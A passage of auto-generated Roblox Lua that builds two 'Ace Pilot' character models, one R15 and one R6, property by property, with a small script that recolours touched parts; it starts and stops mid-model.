- UpperTorso.Parent = AcePilot
- WaistRigAttachment.CFrame = CFrame.new(0,-0.45,0,1,0,0,0,1,0,0,0,1)
- WaistRigAttachment.Position = Vector3.new(0,-0.45,0)
- WaistRigAttachment.Name = "WaistRigAttachment"
- WaistRigAttachment.Parent = UpperTorso
- NeckRigAttachment.CFrame = CFrame.new(0,0.8,0,1,0,0,0,1,0,0,0,1)
- NeckRigAttachment.Position = Vector3.new(0,0.8,0)
- NeckRigAttachment.Name = "NeckRigAttachment"
- NeckRigAttachment.Parent = UpperTorso
- LeftShoulderRigAttachment_1.CFrame = CFrame.new(-1.25,0.55,0,1,0,0,0,1,0,0,0,1)
- LeftShoulderRigAttachment_1.Position = Vector3.new(-1.25,0.55,0)
- LeftShoulderRigAttachment_1.Name = "LeftShoulderRigAttachment"
- LeftShoulderRigAttachment_1.Parent = UpperTorso
- RightShoulderRigAttachment_1.CFrame = CFrame.new(1.25,0.55,0,1,0,0,0,1,0,0,0,1)
- RightShoulderRigAttachment_1.Position = Vector3.new(1.25,0.55,0)
- RightShoulderRigAttachment_1.Name = "RightShoulderRigAttachment"
- RightShoulderRigAttachment_1.Parent = UpperTorso
- BodyFrontAttachment.CFrame = CFrame.new(0,-0.2,-0.5,1,0,0,0,1,0,0,0,1)
- BodyFrontAttachment.Position = Vector3.new(0,-0.2,-0.5)
- BodyFrontAttachment.Name = "BodyFrontAttachment"
- BodyFrontAttachment.Parent = UpperTorso
- BodyBackAttachment.CFrame = CFrame.new(0,-0.2,0.5,1,0,0,0,1,0,0,0,1)
- BodyBackAttachment.Position = Vector3.new(0,-0.2,0.5)
- BodyBackAttachment.Name = "BodyBackAttachment"
- BodyBackAttachment.Parent = UpperTorso
- LeftCollarAttachment.CFrame = CFrame.new(-1,0.8,0,1,0,0,0,1,0,0,0,1)
- LeftCollarAttachment.Position = Vector3.new(-1,0.8,0)
- LeftCollarAttachment.Name = "LeftCollarAttachment"
- LeftCollarAttachment.Parent = UpperTorso
- RightCollarAttachment.CFrame = CFrame.new(1,0.8,0,1,0,0,0,1,0,0,0,1)
- RightCollarAttachment.Position = Vector3.new(1,0.8,0)
- RightCollarAttachment.Name = "RightCollarAttachment"
- RightCollarAttachment.Parent = UpperTorso
- NeckAttachment.CFrame = CFrame.new(0,0.8,0,1,0,0,0,1,0,0,0,1)
- NeckAttachment.Position = Vector3.new(0,0.8,0)
- NeckAttachment.Name = "NeckAttachment"
- NeckAttachment.Parent = UpperTorso
- Waist.C0 = CFrame.new(0,0.55,0,1,0,0,0,1,0,0,0,1)
- Waist.C1 = CFrame.new(0,-0.45,0,1,0,0,0,1,0,0,0,1)
- Waist.Part0 = LowerTorso
- Waist.Part1 = UpperTorso
- Waist.Name = "Waist"
- Waist.Parent = UpperTorso
- LeftFoot.CFrame = CFrame.new(82.502,0.55,138.068,1,0,0,0,1,0,0,0,1)
- LeftFoot.CanCollide = false
- LeftFoot.Color = Color3.new(0.996,0.953,0.733)
- LeftFoot.Size = Vector3.new(1,0.3,1)
- LeftFoot.Name = "LeftFoot"
- LeftFoot.Parent = AcePilot
- LeftAnkleRigAttachment.CFrame = CFrame.new(0,0.05,0,1,0,0,0,1,0,0,0,1)
- LeftAnkleRigAttachment.Position = Vector3.new(0,0.05,0)
- LeftAnkleRigAttachment.Name = "LeftAnkleRigAttachment"
- LeftAnkleRigAttachment.Parent = LeftFoot
- LeftAnkle.C0 = CFrame.new(0,-0.75,0,1,0,0,0,1,0,0,0,1)
- LeftAnkle.C1 = CFrame.new(0,0.05,0,1,0,0,0,1,0,0,0,1)
- LeftAnkle.Part0 = LeftLowerLeg
- LeftAnkle.Part1 = LeftFoot
- LeftAnkle.Name = "LeftAnkle"
- LeftAnkle.Parent = LeftFoot
- LeftLowerLeg.CFrame = CFrame.new(82.502,1.35,138.068,1,0,0,0,1,0,0,0,1)
- LeftLowerLeg.CanCollide = false
- LeftLowerLeg.Color = Color3.new(0.996,0.953,0.733)
- LeftLowerLeg.Size = Vector3.new(1,1.5,1)
- LeftLowerLeg.Name = "LeftLowerLeg"
- LeftLowerLeg.Parent = AcePilot
- LeftKneeRigAttachment.CFrame = CFrame.new(0,0.25,0,1,0,0,0,1,0,0,0,1)
- LeftKneeRigAttachment.Position = Vector3.new(0,0.25,0)
- LeftKneeRigAttachment.Name = "LeftKneeRigAttachment"
- LeftKneeRigAttachment.Parent = LeftLowerLeg
- LeftAnkleRigAttachment_1.CFrame = CFrame.new(0,-0.75,0,1,0,0,0,1,0,0,0,1)
- LeftAnkleRigAttachment_1.Position = Vector3.new(0,-0.75,0)
- LeftAnkleRigAttachment_1.Name = "LeftAnkleRigAttachment"
- LeftAnkleRigAttachment_1.Parent = LeftLowerLeg
- LeftKnee.C0 = CFrame.new(0,-0.3,0,1,0,0,0,1,0,0,0,1)
- LeftKnee.C1 = CFrame.new(0,0.25,0,1,0,0,0,1,0,0,0,1)
- LeftKnee.Part0 = LeftUpperLeg
- LeftKnee.Part1 = LeftLowerLeg
- LeftKnee.Name = "LeftKnee"
- LeftKnee.Parent = LeftLowerLeg
- LeftUpperLeg.CFrame = CFrame.new(82.502,1.9,138.068,1,0,0,0,1,0,0,0,1)
- LeftUpperLeg.CanCollide = false
- LeftUpperLeg.Color = Color3.new(0.769,0.157,0.11)
- LeftUpperLeg.Size = Vector3.new(1,1.5,1)
- LeftUpperLeg.Name = "LeftUpperLeg"
- LeftUpperLeg.Parent = AcePilot
- LeftHipRigAttachment.CFrame = CFrame.new(0,0.5,0,1,0,0,0,1,0,0,0,1)
- LeftHipRigAttachment.Position = Vector3.new(0,0.5,0)
- LeftHipRigAttachment.Name = "LeftHipRigAttachment"
- LeftHipRigAttachment.Parent = LeftUpperLeg
- LeftKneeRigAttachment_1.CFrame = CFrame.new(0,-0.3,0,1,0,0,0,1,0,0,0,1)
- LeftKneeRigAttachment_1.Position = Vector3.new(0,-0.3,0)
- LeftKneeRigAttachment_1.Name = "LeftKneeRigAttachment"
- LeftKneeRigAttachment_1.Parent = LeftUpperLeg
- LeftHip.C0 = CFrame.new(-0.5,-0.2,0,1,0,0,0,1,0,0,0,1)
- LeftHip.C1 = CFrame.new(0,0.5,0,1,0,0,0,1,0,0,0,1)
- LeftHip.Part0 = LowerTorso
- LeftHip.Part1 = LeftUpperLeg
- LeftHip.Name = "LeftHip"
- LeftHip.Parent = LeftUpperLeg
- RightFoot.CFrame = CFrame.new(83.502,0.55,138.068,1,0,0,0,1,0,0,0,1)
- RightFoot.CanCollide = false
- RightFoot.Color = Color3.new(0.996,0.953,0.733)
- RightFoot.Size = Vector3.new(1,0.3,1)
- RightFoot.Name = "RightFoot"
- RightFoot.Parent = AcePilot
- RightAnkleRigAttachment.CFrame = CFrame.new(0,0.05,0,1,0,0,0,1,0,0,0,1)
- RightAnkleRigAttachment.Position = Vector3.new(0,0.05,0)
- RightAnkleRigAttachment.Name = "RightAnkleRigAttachment"
- RightAnkleRigAttachment.Parent = RightFoot
- RightAnkle.C0 = CFrame.new(0,-0.75,0,1,0,0,0,1,0,0,0,1)
- RightAnkle.C1 = CFrame.new(0,0.05,0,1,0,0,0,1,0,0,0,1)
- RightAnkle.Part0 = RightLowerLeg
- RightAnkle.Part1 = RightFoot
- RightAnkle.Name = "RightAnkle"
- RightAnkle.Parent = RightFoot
- RightLowerLeg.CFrame = CFrame.new(83.502,1.35,138.068,1,0,0,0,1,0,0,0,1)
- RightLowerLeg.CanCollide = false
- RightLowerLeg.Color = Color3.new(0.996,0.953,0.733)
- RightLowerLeg.Size = Vector3.new(1,1.5,1)
- RightLowerLeg.Name = "RightLowerLeg"
- RightLowerLeg.Parent = AcePilot
- RightKneeRigAttachment.CFrame = CFrame.new(0,0.25,0,1,0,0,0,1,0,0,0,1)
- RightKneeRigAttachment.Position = Vector3.new(0,0.25,0)
- RightKneeRigAttachment.Name = "RightKneeRigAttachment"
- RightKneeRigAttachment.Parent = RightLowerLeg
- RightAnkleRigAttachment_1.CFrame = CFrame.new(0,-0.75,0,1,0,0,0,1,0,0,0,1)
- RightAnkleRigAttachment_1.Position = Vector3.new(0,-0.75,0)
- RightAnkleRigAttachment_1.Name = "RightAnkleRigAttachment"
- RightAnkleRigAttachment_1.Parent = RightLowerLeg
- RightKnee.C0 = CFrame.new(0,-0.3,0,1,0,0,0,1,0,0,0,1)
- RightKnee.C1 = CFrame.new(0,0.25,0,1,0,0,0,1,0,0,0,1)
- RightKnee.Part0 = RightUpperLeg
- RightKnee.Part1 = RightLowerLeg
- RightKnee.Name = "RightKnee"
- RightKnee.Parent = RightLowerLeg
- RightUpperLeg.CFrame = CFrame.new(83.502,1.9,138.068,1,0,0,0,1,0,0,0,1)
- RightUpperLeg.CanCollide = false
- RightUpperLeg.Color = Color3.new(0.769,0.157,0.11)
- RightUpperLeg.Size = Vector3.new(1,1.5,1)
- RightUpperLeg.Name = "RightUpperLeg"
- RightUpperLeg.Parent = AcePilot
- RightHipRigAttachment.CFrame = CFrame.new(0,0.5,0,1,0,0,0,1,0,0,0,1)
- RightHipRigAttachment.Position = Vector3.new(0,0.5,0)
- RightHipRigAttachment.Name = "RightHipRigAttachment"
- RightHipRigAttachment.Parent = RightUpperLeg
- RightKneeRigAttachment_1.CFrame = CFrame.new(0,-0.3,0,1,0,0,0,1,0,0,0,1)
- RightKneeRigAttachment_1.Position = Vector3.new(0,-0.3,0)
- RightKneeRigAttachment_1.Name = "RightKneeRigAttachment"
- RightKneeRigAttachment_1.Parent = RightUpperLeg
- RightHip.C0 = CFrame.new(0.5,-0.2,0,1,0,0,0,1,0,0,0,1)
- RightHip.C1 = CFrame.new(0,0.5,0,1,0,0,0,1,0,0,0,1)
- RightHip.Part0 = LowerTorso
- RightHip.Part1 = RightUpperLeg
- RightHip.Name = "RightHip"
- RightHip.Parent = RightUpperLeg
- LowerTorso.CFrame = CFrame.new(83.002,2.6,138.068,1,0,0,0,1,0,0,0,1)
- LowerTorso.Color = Color3.new(0.996,0.953,0.733)
- LowerTorso.Size = Vector3.new(2,0.4,1)
- LowerTorso.Name = "LowerTorso"
- LowerTorso.Parent = AcePilot
- RootRigAttachment_1.CFrame = CFrame.new(0,0.15,0,1,0,0,0,1,0,0,0,1)
- RootRigAttachment_1.Position = Vector3.new(0,0.15,0)
- RootRigAttachment_1.Name = "RootRigAttachment"
- RootRigAttachment_1.Parent = LowerTorso
- WaistRigAttachment_1.CFrame = CFrame.new(0,0.55,0,1,0,0,0,1,0,0,0,1)
- WaistRigAttachment_1.Position = Vector3.new(0,0.55,0)
- WaistRigAttachment_1.Name = "WaistRigAttachment"
- WaistRigAttachment_1.Parent = LowerTorso
- LeftHipRigAttachment_1.CFrame = CFrame.new(-0.5,-0.2,0,1,0,0,0,1,0,0,0,1)
- LeftHipRigAttachment_1.Position = Vector3.new(-0.5,-0.2,0)
- LeftHipRigAttachment_1.Name = "LeftHipRigAttachment"
- LeftHipRigAttachment_1.Parent = LowerTorso
- RightHipRigAttachment_1.CFrame = CFrame.new(0.5,-0.2,0,1,0,0,0,1,0,0,0,1)
- RightHipRigAttachment_1.Position = Vector3.new(0.5,-0.2,0)
- RightHipRigAttachment_1.Name = "RightHipRigAttachment"
- RightHipRigAttachment_1.Parent = LowerTorso
- WaistCenterAttachment.CFrame = CFrame.new(0,-0.2,0,1,0,0,0,1,0,0,0,1)
- WaistCenterAttachment.Position = Vector3.new(0,-0.2,0)
- WaistCenterAttachment.Name = "WaistCenterAttachment"
- WaistCenterAttachment.Parent = LowerTorso
- WaistFrontAttachment.CFrame = CFrame.new(0,-0.2,-0.5,1,0,0,0,1,0,0,0,1)
- WaistFrontAttachment.Position = Vector3.new(0,-0.2,-0.5)
- WaistFrontAttachment.Name = "WaistFrontAttachment"
- WaistFrontAttachment.Parent = LowerTorso
- WaistBackAttachment.CFrame = CFrame.new(0,-0.2,0.5,1,0,0,0,1,0,0,0,1)
- WaistBackAttachment.Position = Vector3.new(0,-0.2,0.5)
- WaistBackAttachment.Name = "WaistBackAttachment"
- WaistBackAttachment.Parent = LowerTorso
- Root.C1 = CFrame.new(0,0.15,0,1,0,0,0,1,0,0,0,1)
- Root.Part0 = HumanoidRootPart
- Root.Part1 = LowerTorso
- Root.Name = "Root"
- Root.Parent = LowerTorso
- Humanoid.DisplayDistanceType = Enum.HumanoidDisplayDistanceType.None
- Humanoid.HipHeight = 1.35
- Humanoid.RigType = Enum.HumanoidRigType.R15
- Humanoid.Parent = AcePilot
- Animator.Parent = Humanoid
- Head_1.BottomSurface = Enum.SurfaceType.Smooth
- Head_1.CFrame = CFrame.new(83.002,4.9,138.068,1,0,0,0,1,0,0,0,1)
- Head_1.Color = Color3.new(0.996,0.953,0.733)
- Head_1.Size = Vector3.new(2,1,1)
- Head_1.TopSurface = Enum.SurfaceType.Smooth
- Head_1.Name = "Head"
- Head_1.Parent = AcePilot
- Mesh_4.Scale = Vector3.new(1.25,1.25,1.25)
- Mesh_4.Parent = Head_1
- FaceCenterAttachment.Axis = Vector3.new(1,0,0)
- FaceCenterAttachment.CFrame = CFrame.new()
- FaceCenterAttachment.Orientation = Vector3.new(0,0,0)
- FaceCenterAttachment.Position = Vector3.new(0,0,0)
- FaceCenterAttachment.Rotation = Vector3.new(0,0,0)
- FaceCenterAttachment.SecondaryAxis = Vector3.new(0,1,0)
- FaceCenterAttachment.Name = "FaceCenterAttachment"
- FaceCenterAttachment.Parent = Head_1
- FaceFrontAttachment.Axis = Vector3.new(1,0,0)
- FaceFrontAttachment.CFrame = CFrame.new(0,0,-0.6,1,0,0,0,1,0,0,0,1)
- FaceFrontAttachment.Orientation = Vector3.new(0,0,0)
- FaceFrontAttachment.Position = Vector3.new(0,0,-0.6)
- FaceFrontAttachment.Rotation = Vector3.new(0,0,0)
- FaceFrontAttachment.SecondaryAxis = Vector3.new(0,1,0)
- FaceFrontAttachment.Name = "FaceFrontAttachment"
- FaceFrontAttachment.Parent = Head_1
- HairAttachment.Axis = Vector3.new(1,0,0)
- HairAttachment.CFrame = CFrame.new(0,0.6,0,1,0,0,0,1,0,0,0,1)
- HairAttachment.Orientation = Vector3.new(0,0,0)
- HairAttachment.Position = Vector3.new(0,0.6,0)
- HairAttachment.Rotation = Vector3.new(0,0,0)
- HairAttachment.SecondaryAxis = Vector3.new(0,1,0)
- HairAttachment.Name = "HairAttachment"
- HairAttachment.Parent = Head_1
- HatAttachment_1.Axis = Vector3.new(1,0,0)
- HatAttachment_1.CFrame = CFrame.new(0,0.6,0,1,0,0,0,1,0,0,0,1)
- HatAttachment_1.Orientation = Vector3.new(0,0,0)
- HatAttachment_1.Position = Vector3.new(0,0.6,0)
- HatAttachment_1.Rotation = Vector3.new(0,0,0)
- HatAttachment_1.SecondaryAxis = Vector3.new(0,1,0)
- HatAttachment_1.Name = "HatAttachment"
- HatAttachment_1.Parent = Head_1
- NeckRigAttachment_1.CFrame = CFrame.new(0,-0.5,0,1,0,0,0,1,0,0,0,1)
- NeckRigAttachment_1.Position = Vector3.new(0,-0.5,0)
- NeckRigAttachment_1.Name = "NeckRigAttachment"
- NeckRigAttachment_1.Parent = Head_1
- Neck.C0 = CFrame.new(0,0.8,0,1,0,0,0,1,0,0,0,1)
- Neck.C1 = CFrame.new(0,-0.5,0,1,0,0,0,1,0,0,0,1)
- Neck.Part0 = UpperTorso
- Neck.Part1 = Head_1
- Neck.Name = "Neck"
- Neck.Parent = Head_1
- Face.Texture = "http://www.roblox.com/asset/?id=2891170034"
- Face.Name = "Face"
- Face.Parent = Head_1
- HeadWeld_2.C0 = CFrame.new(0,0.5,0,1,0,0,0,1,0,0,0,1)
- HeadWeld_2.C1 = CFrame.new(0,0.9,0,1,0,0,0,0.995,0.1,0,-0.1,0.995)
- HeadWeld_2.Part0 = Head_1
- HeadWeld_2.Part1 = Handle_3
- HeadWeld_2.Name = "HeadWeld"
- HeadWeld_2.Parent = Head_1
- Pants_1.PantsTemplate = "http://www.roblox.com/asset/?id=2890948617"
- Pants_1.Name = "Pants"
- Pants_1.Parent = AcePilot
- Shirt_1.ShirtTemplate = "http://www.roblox.com/asset/?id=2890942434"
- Shirt_1.Name = "Shirt"
- Shirt_1.Parent = AcePilot
- MischiefHorns_1.AttachmentPoint = CFrame.new(0,-0.17,0,1,0,0,0,1,0,0,0,1)
- MischiefHorns_1.AttachmentPos = Vector3.new(0,-0.17,0)
- MischiefHorns_1.Name = "Mischief Horns"
- MischiefHorns_1.Parent = AcePilot
- Handle_2.BottomSurface = Enum.SurfaceType.Smooth
- Handle_2.CFrame = CFrame.new(83.002,5.57,138.068,1,0,0,0,1,0,0,0,1)
- Handle_2.CanCollide = false
- Handle_2.Locked = true
- Handle_2.Size = Vector3.new(1,1,1)
- Handle_2.TopSurface = Enum.SurfaceType.Smooth
- Handle_2.Name = "Handle"
- Handle_2.Parent = MischiefHorns_1
- Mesh_5.MeshType = Enum.MeshType.FileMesh
- Mesh_5.MeshId = "http://www.roblox.com/asset/?id=15934744"
- Mesh_5.TextureId = "http://www.roblox.com/asset/?id=15934762"
- Mesh_5.Scale = Vector3.new(1.02,1.02,1.02)
- Mesh_5.Parent = Handle_2
- HatAttachment_2.Axis = Vector3.new(1,0,0)
- HatAttachment_2.CFrame = CFrame.new(0,-0.07,0,1,0,0,0,1,0,0,0,1)
- HatAttachment_2.Orientation = Vector3.new(0,0,0)
- HatAttachment_2.Position = Vector3.new(0,-0.07,0)
- HatAttachment_2.Rotation = Vector3.new(0,0,0)
- HatAttachment_2.SecondaryAxis = Vector3.new(0,1,0)
- HatAttachment_2.Name = "HatAttachment"
- HatAttachment_2.Parent = Handle_2
- OriginalSize_1.Value = Vector3.new(1,1,1)
- OriginalSize_1.Name = "OriginalSize"
- OriginalSize_1.Parent = Handle_2
- AccessoryWeld.C0 = CFrame.new(0,-0.07,0,1,0,0,0,1,0,0,0,1)
- AccessoryWeld.C1 = CFrame.new(0,0.6,0,1,0,0,0,1,0,0,0,1)
- AccessoryWeld.Part0 = Handle_2
- AccessoryWeld.Part1 = Head_1
- AccessoryWeld.Name = "AccessoryWeld"
- AccessoryWeld.Parent = Handle_2
- LongHairHeadBand_1.AttachmentForward = Vector3.new(0,-0.1,-0.995)
- LongHairHeadBand_1.AttachmentPoint = CFrame.new(0,0.9,0,1,0,0,0,0.995,0.1,0,-0.1,0.995)
- LongHairHeadBand_1.AttachmentPos = Vector3.new(0,0.9,0)
- LongHairHeadBand_1.AttachmentUp = Vector3.new(0,0.995,-0.1)
- LongHairHeadBand_1.Name = "LongHairHeadBand"
- LongHairHeadBand_1.Parent = AcePilot
- Handle_3.BottomSurface = Enum.SurfaceType.Smooth
- Handle_3.CFrame = CFrame.new(83.002,4.505,137.978,1,0,0,0,0.995,-0.1,0,0.1,0.995)
- Handle_3.CanCollide = false
- Handle_3.Size = Vector3.new(1,2.4,2)
- Handle_3.TopSurface = Enum.SurfaceType.Smooth
- Handle_3.Name = "Handle"
- Handle_3.Parent = LongHairHeadBand_1
- Mesh_6.MeshType = Enum.MeshType.FileMesh
- Mesh_6.MeshId = "http://www.roblox.com/asset/?id=13070796"
- Mesh_6.TextureId = "http://www.roblox.com/asset/?id=292357315"
- Mesh_6.Parent = Handle_3
- ThumbnailCamera_1.CFrame = CFrame.new(35.462,1.652,-20.987,-0.771,0.04,-0.636,0,0.998,0.063,0.637,0.048,-0.769)
- ThumbnailCamera_1.Focus = CFrame.new(36.734,1.526,-19.448,1,0,0,0,1,0,0,0,1)
- ThumbnailCamera_1.Name = "ThumbnailCamera"
- ThumbnailCamera_1.Parent = LongHairHeadBand_1
- table.insert(functions,sandbox(Script,function()
- bin = script.Parent
- function onTouched(part)
- part.BrickColor = script.Parent.BrickColor
- wait(.3)
- end
- connection = bin.Touched:connect(onTouched)
- end))
- Script.Parent = AcePilot
- AcePilot_1.Name = "Ace Pilot"
- AcePilot_1.Parent = Model
- Head_2.Anchored = true
- Head_2.CFrame = CFrame.new(82.989,4.975,137.995,1,0,0,0,1,0,0,0,1)
- Head_2.Color = Color3.new(0.996,0.953,0.733)
- Head_2.Size = Vector3.new(2,1,1)
- Head_2.TopSurface = Enum.SurfaceType.Smooth
- Head_2.Name = "Head"
- Head_2.Parent = AcePilot_1
- Mesh_7.Scale = Vector3.new(1.25,1.25,1.25)
- Mesh_7.Parent = Head_2
- HatAttachment_3.CFrame = CFrame.new(0,0.6,0,1,0,0,0,1,0,0,0,1)
- HatAttachment_3.Position = Vector3.new(0,0.6,0)
- HatAttachment_3.Name = "HatAttachment"
- HatAttachment_3.Parent = Head_2
- HairAttachment_1.CFrame = CFrame.new(0,0.6,0,1,0,0,0,1,0,0,0,1)
- HairAttachment_1.Position = Vector3.new(0,0.6,0)
- HairAttachment_1.Name = "HairAttachment"
- HairAttachment_1.Parent = Head_2
- FaceFrontAttachment_1.CFrame = CFrame.new(0,0,-0.6,1,0,0,0,1,0,0,0,1)
- FaceFrontAttachment_1.Position = Vector3.new(0,0,-0.6)
- FaceFrontAttachment_1.Name = "FaceFrontAttachment"
- FaceFrontAttachment_1.Parent = Head_2
- FaceCenterAttachment_1.Name = "FaceCenterAttachment"
- FaceCenterAttachment_1.Parent = Head_2
- HeadWeld_3.C0 = CFrame.new(0,0.5,0,1,0,0,0,1,0,0,0,1)
- HeadWeld_3.C1 = CFrame.new(0,0.9,0,1,0,0,0,0.995,0.1,0,-0.1,0.995)
- HeadWeld_3.Part0 = Head_2
- HeadWeld_3.Part1 = Handle_4
- HeadWeld_3.Name = "HeadWeld"
- HeadWeld_3.Parent = Head_2
- ZeroTwo_1.Texture = "http://www.roblox.com/asset/?id=4510571168"
- ZeroTwo_1.Name = "Zero Two"
- ZeroTwo_1.Parent = Head_2
- LeftArm_1.Anchored = true
- LeftArm_1.CFrame = CFrame.new(81.489,3.475,137.995,1,0,0,0,1,0,0,0,1)
- LeftArm_1.CanCollide = false
- LeftArm_1.Color = Color3.new(0.769,0.157,0.11)
- LeftArm_1.Size = Vector3.new(1,2,1)
- LeftArm_1.Name = "Left Arm"
- LeftArm_1.Parent = AcePilot_1
- LeftShoulderAttachment_1.CFrame = CFrame.new(0,1,0,1,0,0,0,1,0,0,0,1)
- LeftShoulderAttachment_1.Position = Vector3.new(0,1,0)
- LeftShoulderAttachment_1.Name = "LeftShoulderAttachment"
- LeftShoulderAttachment_1.Parent = LeftArm_1
- LeftLeg_1.Anchored = true
- LeftLeg_1.BottomSurface = Enum.SurfaceType.Smooth
- LeftLeg_1.CFrame = CFrame.new(82.489,1.475,137.995,1,0,0,0,1,0,0,0,1)
- LeftLeg_1.CanCollide = false
- LeftLeg_1.Color = Color3.new(0.769,0.157,0.11)
- LeftLeg_1.Size = Vector3.new(1,2,1)
- LeftLeg_1.Name = "Left Leg"
- LeftLeg_1.Parent = AcePilot_1
- RightArm_1.Anchored = true
- RightArm_1.CFrame = CFrame.new(84.489,3.475,137.995,1,0,0,0,1,0,0,0,1)
- RightArm_1.CanCollide = false
- RightArm_1.Color = Color3.new(0.769,0.157,0.11)
- RightArm_1.Size = Vector3.new(1,2,1)
- RightArm_1.Name = "Right Arm"
- RightArm_1.Parent = AcePilot_1
- RightShoulderAttachment_1.CFrame = CFrame.new(0,1,0,1,0,0,0,1,0,0,0,1)
- RightShoulderAttachment_1.Position = Vector3.new(0,1,0)
- RightShoulderAttachment_1.Name = "RightShoulderAttachment"
- RightShoulderAttachment_1.Parent = RightArm_1
- RightLeg_1.Anchored = true
- RightLeg_1.BottomSurface = Enum.SurfaceType.Smooth
- RightLeg_1.CFrame = CFrame.new(83.489,1.475,137.995,1,0,0,0,1,0,0,0,1)
- RightLeg_1.CanCollide = false
- RightLeg_1.Color = Color3.new(0.769,0.157,0.11)
- RightLeg_1.Size = Vector3.new(1,2,1)
- RightLeg_1.Name = "Right Leg"
- RightLeg_1.Parent = AcePilot_1
- Torso_1.Anchored = true
- Torso_1.CFrame = CFrame.new(82.989,3.475,137.995,1,0,0,0,1,0,0,0,1)
- Torso_1.Color = Color3.new(0.769,0.157,0.11)
- Torso_1.LeftParamA = 0
- Torso_1.LeftParamB = 0
- Torso_1.LeftSurface = Enum.SurfaceType.Weld
- Torso_1.RightParamA = 0
- Torso_1.RightParamB = 0
- Torso_1.RightSurface = Enum.SurfaceType.Weld
- Torso_1.Size = Vector3.new(2,2,1)
- Torso_1.Name = "Torso"
- Torso_1.Parent = AcePilot_1
- roblox.Name = "roblox"
- roblox.Parent = Torso_1
- RightShoulder_1.MaxVelocity = 0.1
- RightShoulder_1.C0 = CFrame.new(1,0.5,0,0,0,1,0,1,0,-1,0,0)
- RightShoulder_1.C1 = CFrame.new(-0.5,0.5,0,0,0,1,0,1,0,-1,0,0)
- RightShoulder_1.Part0 = Torso_1
- RightShoulder_1.Part1 = RightArm_1
- RightShoulder_1.Name = "Right Shoulder"
- RightShoulder_1.Parent = Torso_1
- RightHip_1.MaxVelocity = 0.1
- RightHip_1.C0 = CFrame.new(1,-1,0,0,0,1,0,1,0,-1,0,0)
- RightHip_1.C1 = CFrame.new(0.5,1,0,0,0,1,0,1,0,-1,0,0)
- RightHip_1.Part0 = Torso_1
- RightHip_1.Part1 = RightLeg_1
- RightHip_1.Name = "Right Hip"
- RightHip_1.Parent = Torso_1
- LeftShoulder_1.MaxVelocity = 0.1
- LeftShoulder_1.C0 = CFrame.new(-1,0.5,0,0,0,-1,0,1,0,1,0,0)
- LeftShoulder_1.C1 = CFrame.new(0.5,0.5,0,0,0,-1,0,1,0,1,0,0)
- LeftShoulder_1.Part0 = Torso_1
- LeftShoulder_1.Part1 = LeftArm_1
- LeftShoulder_1.Name = "Left Shoulder"
- LeftShoulder_1.Parent = Torso_1
- LeftHip_1.MaxVelocity = 0.1
- LeftHip_1.C0 = CFrame.new(-1,-1,0,0,0,-1,0,1,0,1,0,0)
- LeftHip_1.C1 = CFrame.new(-0.5,1,0,0,0,-1,0,1,0,1,0,0)
- LeftHip_1.Part0 = Torso_1
- LeftHip_1.Part1 = LeftLeg_1
- LeftHip_1.Name = "Left Hip"
- LeftHip_1.Parent = Torso_1
- WaistFrontAttachment_1.CFrame = CFrame.new(0,-1,-0.5,1,0,0,0,1,0,0,0,1)
- WaistFrontAttachment_1.Position = Vector3.new(0,-1,-0.5)
- WaistFrontAttachment_1.Name = "WaistFrontAttachment"
- WaistFrontAttachment_1.Parent = Torso_1
- WaistCenterAttachment_1.CFrame = CFrame.new(0,-1,0,1,0,0,0,1,0,0,0,1)
- WaistCenterAttachment_1.Position = Vector3.new(0,-1,0)
- WaistCenterAttachment_1.Name = "WaistCenterAttachment"
- WaistCenterAttachment_1.Parent = Torso_1
- WaistBackAttachment_1.CFrame = CFrame.new(0,-1,0.5,1,0,0,0,1,0,0,0,1)
- WaistBackAttachment_1.Position = Vector3.new(0,-1,0.5)
- WaistBackAttachment_1.Name = "WaistBackAttachment"
- WaistBackAttachment_1.Parent = Torso_1
- RightCollarAttachment_1.CFrame = CFrame.new(1,1,0,1,0,0,0,1,0,0,0,1)
- RightCollarAttachment_1.Position = Vector3.new(1,1,0)
- RightCollarAttachment_1.Name = "RightCollarAttachment"
- RightCollarAttachment_1.Parent = Torso_1
- NeckAttachment_1.CFrame = CFrame.new(0,1,0,1,0,0,0,1,0,0,0,1)
- NeckAttachment_1.Position = Vector3.new(0,1,0)
- NeckAttachment_1.Name = "NeckAttachment"
- NeckAttachment_1.Parent = Torso_1
- LeftCollarAttachment_1.CFrame = CFrame.new(-1,1,0,1,0,0,0,1,0,0,0,1)
- LeftCollarAttachment_1.Position = Vector3.new(-1,1,0)
- LeftCollarAttachment_1.Name = "LeftCollarAttachment"
- LeftCollarAttachment_1.Parent = Torso_1
- BodyFrontAttachment_1.CFrame = CFrame.new(0,0,-0.5,1,0,0,0,1,0,0,0,1)
- BodyFrontAttachment_1.Position = Vector3.new(0,0,-0.5)
- BodyFrontAttachment_1.Name = "BodyFrontAttachment"
- BodyFrontAttachment_1.Parent = Torso_1
- BodyBackAttachment_1.CFrame = CFrame.new(0,0,0.5,1,0,0,0,1,0,0,0,1)
- BodyBackAttachment_1.Position = Vector3.new(0,0,0.5)
- BodyBackAttachment_1.Name = "BodyBackAttachment"
- BodyBackAttachment_1.Parent = Torso_1
- Neck_1.MaxVelocity = 0.1
- Neck_1.C0 = CFrame.new(0,1,0,-1,0,0,0,0,1,0,1,0)
- Neck_1.C1 = CFrame.new(0,-0.5,0,-1,0,0,0,0,1,0,1,0)
- Neck_1.Part0 = Torso_1
- Neck_1.Part1 = Head_2
- Neck_1.Name = "Neck"
- Neck_1.Parent = Torso_1
- Humanoid_1.Parent = AcePilot_1
- Shirt_2.ShirtTemplate = "http://www.roblox.com/asset/?id=2890942434"
- Shirt_2.Name = "Shirt"
- Shirt_2.Parent = AcePilot_1
- Pants_2.PantsTemplate = "http://www.roblox.com/asset/?id=2890948617"
- Pants_2.Name = "Pants"
- Pants_2.Parent = AcePilot_1
- LongHairHeadBand_2.AttachmentForward = Vector3.new(0,-0.1,-0.995)
- LongHairHeadBand_2.AttachmentPoint = CFrame.new(0,0.9,0,1,0,0,0,0.995,0.1,0,-0.1,0.995)
- LongHairHeadBand_2.AttachmentPos = Vector3.new(0,0.9,0)
- LongHairHeadBand_2.AttachmentUp = Vector3.new(0,0.995,-0.1)
- LongHairHeadBand_2.Name = "LongHairHeadBand"
- LongHairHeadBand_2.Parent = AcePilot_1
- Handle_4.Anchored = true
- Handle_4.BottomSurface = Enum.SurfaceType.Smooth
- Handle_4.CFrame = CFrame.new(82.989,4.58,137.905,1,0,0,0,0.995,-0.1,0,0.1,0.995)
- Handle_4.CanCollide = false
- Handle_4.Size = Vector3.new(1,2.4,2)
- Handle_4.TopSurface = Enum.SurfaceType.Smooth
- Handle_4.Name = "Handle"
